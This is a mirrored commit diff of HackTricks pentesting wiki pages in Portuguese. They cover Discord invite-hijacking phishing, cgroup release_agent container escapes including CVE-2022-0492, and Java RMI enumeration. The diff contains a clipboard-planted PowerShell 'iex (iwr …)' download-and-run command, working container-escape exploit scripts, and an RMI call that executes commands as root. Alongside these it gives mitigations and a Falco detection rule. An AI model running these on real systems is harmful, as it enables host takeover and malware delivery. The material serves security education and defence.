mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
		
							parent
							
								
									d81f4631d8
								
							
						
					
					
						commit
						a40a6cd304
					
				@ -6,11 +6,11 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Tipos de Convite e Risco de Sequestro
 | 
					## Tipos de Convite e Risco de Sequestro
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| Tipo de Convite       | Sequestre?  | Condição / Comentários                                                                                     |
 | 
					| Tipo de Convite       | Sequestreável? | Condição / Comentários                                                                                       |
 | 
				
			||||||
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
 | 
					|-----------------------|----------------|--------------------------------------------------------------------------------------------------------------|
 | 
				
			||||||
| Link de Convite Temporário | ✅          | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. |
 | 
					| Link de Convite Temporário | ✅          | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. |
 | 
				
			||||||
| Link de Convite Permanente | ⚠️          | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente.        |
 | 
					| Link de Convite Permanente | ⚠️          | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente.        |
 | 
				
			||||||
| Link Personalizado    | ✅          | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro.    |
 | 
					| Link Personalizado    | ✅             | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro.    |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Etapas de Exploração
 | 
					## Etapas de Exploração
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -24,7 +24,7 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
 | 
				
			|||||||
- Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem).
 | 
					- Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem).
 | 
				
			||||||
- Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração.
 | 
					- Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração.
 | 
				
			||||||
4. Redirecionamento Silencioso
 | 
					4. Redirecionamento Silencioso
 | 
				
			||||||
- Usuários que visitam o link antigo são enviados sem problemas para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo.
 | 
					- Usuários que visitam o link antigo são enviados de forma transparente para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Fluxo de Phishing via Servidor Discord
 | 
					## Fluxo de Phishing via Servidor Discord
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9
 | 
				
			|||||||
`iex (iwr -Uri $url)"`;
 | 
					`iex (iwr -Uri $url)"`;
 | 
				
			||||||
navigator.clipboard.writeText(cmd);
 | 
					navigator.clipboard.writeText(cmd);
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário.
 | 
					Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Mitigações
 | 
					## Mitigações
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -55,7 +55,7 @@ Esta abordagem evita downloads diretos de arquivos e aproveita elementos de inte
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Referências
 | 
					## Referências
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
 | 
					- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
 | 
				
			||||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
 | 
					- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
@ -4,7 +4,9 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
 | 
					**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Original PoC:
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## PoC Clássica (2019)
 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 | 
					d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 | 
				
			||||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
 | 
					mkdir -p $d/w;echo 1 >$d/w/notify_on_release
 | 
				
			||||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 | 
				
			|||||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 | 
					touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 | 
				
			||||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 | 
					$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
A prova de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma análise das etapas envolvidas:
 | 
					A PoC explora o recurso **cgroup-v1** `release_agent`: quando a última tarefa de um cgroup que tem `notify_on_release=1` sai, o kernel (nos **namespaces iniciais no host**) executa o programa cujo caminho está armazenado no arquivo gravável `release_agent`. Como essa execução acontece com **plenos privilégios de root no host**, obter acesso de gravação ao arquivo é suficiente para uma fuga de container.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Passo a passo curto e legível
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. **Preparar um novo cgroup**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. **Preparar o Ambiente:**
 | 
					 | 
				
			||||||
- Um diretório `/tmp/cgrp` é criado para servir como um ponto de montagem para o cgroup.
 | 
					 | 
				
			||||||
- O controlador de cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, sugere-se usar o controlador de cgroup `memory` como alternativa.
 | 
					 | 
				
			||||||
```shell
 | 
					 | 
				
			||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
2. **Configurar o Cgroup Filho:**
 | 
					 | 
				
			||||||
- Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado.
 | 
					 | 
				
			||||||
- As notificações são ativadas para o cgroup "x" escrevendo 1 no seu arquivo notify_on_release.
 | 
					 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
 | 
					mkdir /tmp/cgrp
 | 
				
			||||||
 | 
					mount -t cgroup -o rdma cgroup /tmp/cgrp   # ou –o memory
 | 
				
			||||||
 | 
					mkdir /tmp/cgrp/x
 | 
				
			||||||
echo 1 > /tmp/cgrp/x/notify_on_release
 | 
					echo 1 > /tmp/cgrp/x/notify_on_release
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
3. **Configurar o Agente de Liberação:**
 | 
					
 | 
				
			||||||
- O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab.
 | 
					2. **Apontar `release_agent` para um script controlado pelo atacante no host**
 | 
				
			||||||
- O arquivo release_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido.
 | 
					
 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 | 
					host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 | 
				
			||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 | 
					echo "$host_path/cmd" > /tmp/cgrp/release_agent
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
4. **Criar e Configurar o Script /cmd:**
 | 
					
 | 
				
			||||||
- O script /cmd é criado dentro do contêiner e é configurado para executar ps aux, redirecionando a saída para um arquivo chamado /output no contêiner. O caminho completo de /output no host é especificado.
 | 
					3. **Dropar o payload**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
echo '#!/bin/sh' > /cmd
 | 
					cat <<'EOF' > /cmd
 | 
				
			||||||
echo "ps aux > $host_path/output" >> /cmd
 | 
					#!/bin/sh
 | 
				
			||||||
chmod a+x /cmd
 | 
					ps aux > "$host_path/output"
 | 
				
			||||||
 | 
					EOF
 | 
				
			||||||
 | 
					chmod +x /cmd
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
5. **Acionar o Ataque:**
 | 
					
 | 
				
			||||||
- Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado.
 | 
					4. **Acionar o notificador**
 | 
				
			||||||
- Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e grava a saída em /output dentro do contêiner.
 | 
					
 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 | 
					sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # adicionar a nós mesmos e sair imediatamente
 | 
				
			||||||
 | 
					cat /output                                  # agora contém processos do host
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Vulnerabilidade do kernel de 2022 – CVE-2022-0492
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Em fevereiro de 2022, Yiqi Sun e Kevin Wang descobriram que **o kernel *não* verificava capacidades quando um processo escrevia em `release_agent` no cgroup-v1** (função `cgroup_release_agent_write`).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Efetivamente, **qualquer processo que pudesse montar uma hierarquia de cgroup (por exemplo, via `unshare -UrC`) poderia escrever um caminho arbitrário em `release_agent` sem `CAP_SYS_ADMIN` no *namespace* de usuário *inicial***. Em um container Docker/Kubernetes configurado por padrão e rodando como root, isso permitiu:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* escalonamento de privilégios para root no host; ↗
 | 
				
			||||||
 | 
					* fuga de container sem que o container fosse privilegiado.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A falha foi atribuída como **CVE-2022-0492** (CVSS 7.8 / Alto) e corrigida nas seguintes versões do kernel (e todas as posteriores):
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Commit do patch: `1e85af15da28 "cgroup: Fix permission checking"`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Exploit mínimo dentro de um container
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
 | 
				
			||||||
 | 
					apk add --no-cache util-linux  # provides unshare
 | 
				
			||||||
 | 
					unshare -UrCm sh -c '
 | 
				
			||||||
 | 
					mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
 | 
				
			||||||
 | 
					echo 1 > /tmp/c/notify_on_release;
 | 
				
			||||||
 | 
					echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
 | 
				
			||||||
 | 
					(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
 | 
				
			||||||
 | 
					while true; do sleep 1; done
 | 
				
			||||||
 | 
					'
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Se o kernel for vulnerável, o binário busybox do *host* é executado com acesso total de root.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Dureza e Mitigações
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Atualize o kernel** (≥ versões acima). O patch agora requer `CAP_SYS_ADMIN` no *namespace* de usuário *inicial* para escrever em `release_agent`.
 | 
				
			||||||
 | 
					* **Prefira cgroup-v2** – a hierarquia unificada **removeu completamente o recurso `release_agent`**, eliminando essa classe de escapes.
 | 
				
			||||||
 | 
					* **Desative namespaces de usuário não privilegiados** em hosts que não precisam deles:
 | 
				
			||||||
 | 
					```shell
 | 
				
			||||||
 | 
					sysctl -w kernel.unprivileged_userns_clone=0
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* **Controle de acesso obrigatório**: Políticas do AppArmor/SELinux que negam `mount`, `openat` em `/sys/fs/cgroup/**/release_agent`, ou removem `CAP_SYS_ADMIN`, impedem a técnica mesmo em kernels vulneráveis.
 | 
				
			||||||
 | 
					* **Bind-mask somente leitura** para todos os arquivos `release_agent` (exemplo de script Palo Alto):
 | 
				
			||||||
 | 
					```shell
 | 
				
			||||||
 | 
					for f in $(find /sys/fs/cgroup -name release_agent); do
 | 
				
			||||||
 | 
					mount --bind -o ro /dev/null "$f"
 | 
				
			||||||
 | 
					done
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Detecção em tempo de execução
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					[`Falco`](https://falco.org/) inclui uma regra embutida desde a v0.32:
 | 
				
			||||||
 | 
					```yaml
 | 
				
			||||||
 | 
					- rule: Detect release_agent File Container Escapes
 | 
				
			||||||
 | 
					desc: Detect an attempt to exploit a container escape using release_agent
 | 
				
			||||||
 | 
					condition: open_write and container and fd.name endswith release_agent and
 | 
				
			||||||
 | 
					(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
 | 
				
			||||||
 | 
					thread.cap_effective contains CAP_SYS_ADMIN
 | 
				
			||||||
 | 
					output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
 | 
				
			||||||
 | 
					priority: CRITICAL
 | 
				
			||||||
 | 
					tags: [container, privilege_escalation]
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					A regra é acionada em qualquer tentativa de escrita em `*/release_agent` de um processo dentro de um contêiner que ainda possui `CAP_SYS_ADMIN`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Referências
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – análise detalhada e script de mitigação.
 | 
				
			||||||
 | 
					* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../../../banners/hacktricks-training.md}}
 | 
					{{#include ../../../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
@ -4,7 +4,7 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Informações Básicas
 | 
					## Informações Básicas
 | 
				
			||||||
 | 
					
 | 
				
			||||||
_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
 | 
					_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _Java virtual machine_ chame métodos em um objeto localizado em outra _Java virtual machine_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
 | 
					**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -27,7 +27,7 @@ Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
 | 
					O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
 | 
					Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _bound name_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _bound name_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
 | 
				
			||||||
```java
 | 
					```java
 | 
				
			||||||
import java.rmi.registry.Registry;
 | 
					import java.rmi.registry.Registry;
 | 
				
			||||||
import java.rmi.registry.LocateRegistry;
 | 
					import java.rmi.registry.LocateRegistry;
 | 
				
			||||||
@ -51,7 +51,7 @@ e.printStackTrace();
 | 
				
			|||||||
}
 | 
					}
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação ao _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
 | 
					O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
 | 
					Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
 | 
				
			|||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] RMI server codebase enumeration:
 | 
					[+] RMI server codebase enumeration:
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
 | 
					[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
 | 
				
			||||||
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 | 
					[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 | 
				
			||||||
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 | 
					[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
 | 
					A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir a identificação de outras vulnerabilidades:
 | 
					Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
 | 
					$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
 | 
				
			||||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
 | 
					[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
 | 
				
			||||||
@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
 | 
				
			|||||||
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
 | 
					[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
 | 
				
			||||||
[+] 		--> String login(java.util.HashMap dummy1)
 | 
					[+] 		--> String login(java.util.HashMap dummy1)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Os métodos identificados podem ser chamados assim:
 | 
					Métodos identificados podem ser chamados assim:
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
 | 
					$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
 | 
				
			||||||
[+] uid=0(root) gid=0(root) groups=0(root)
 | 
					[+] uid=0(root) gid=0(root) groups=0(root)
 | 
				
			||||||
@ -205,7 +205,7 @@ Mais informações podem ser encontradas nestes artigos:
 | 
				
			|||||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
					- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
				
			||||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
 | 
					- [rmiscout](https://bishopfox.com/blog/rmiscout)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
 | 
					Além de adivinhações, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Interfaces Conhecidas
 | 
					## Interfaces Conhecidas
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 | 
					[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] References:
 | 
					[+] References:
 | 
				
			||||||
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
 | 
					[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
 | 
				
			||||||
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
 | 
					[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] Vulnerabilities:
 | 
					[+] Vulnerabilities:
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 		is therefore most of the time equivalent to remote code execution.
 | 
					[+] 		is therefore most of the time equivalent to remote code execution.
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	References:
 | 
					[+] 	References:
 | 
				
			||||||
[+] 		- https://github.com/qtc-de/beanshooter
 | 
					[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	-----------------------------------
 | 
					[+] 	-----------------------------------
 | 
				
			||||||
[+] 	Name:
 | 
					[+] 	Name:
 | 
				
			||||||
@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
 | 
					[+] 		establish a working JMX connection, you can also perform deserialization attacks.
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	References:
 | 
					[+] 	References:
 | 
				
			||||||
[+] 		- https://github.com/qtc-de/beanshooter
 | 
					[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## Shodan
 | 
					## Shodan
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- `port:1099 java`
 | 
					- `port:1099 java`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Ferramentas
 | 
					## Tools
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
					- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
				
			||||||
- [rmiscout](https://github.com/BishopFox/rmiscout)
 | 
					- [rmiscout](https://github.com/BishopFox/rmiscout)
 | 
				
			||||||
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
 | 
					- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Referências
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
					- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Comandos Automáticos HackTricks
 | 
					## HackTricks Comandos Automáticos
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
 | 
					Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
 | 
				
			||||||
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
 | 
					Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
 | 
				
			||||||
 | 
				
			|||||||
@ -10,7 +10,7 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
#### Arquitetura básica do docker
 | 
					#### Arquitetura básica do docker
 | 
				
			||||||
 | 
					
 | 
				
			||||||
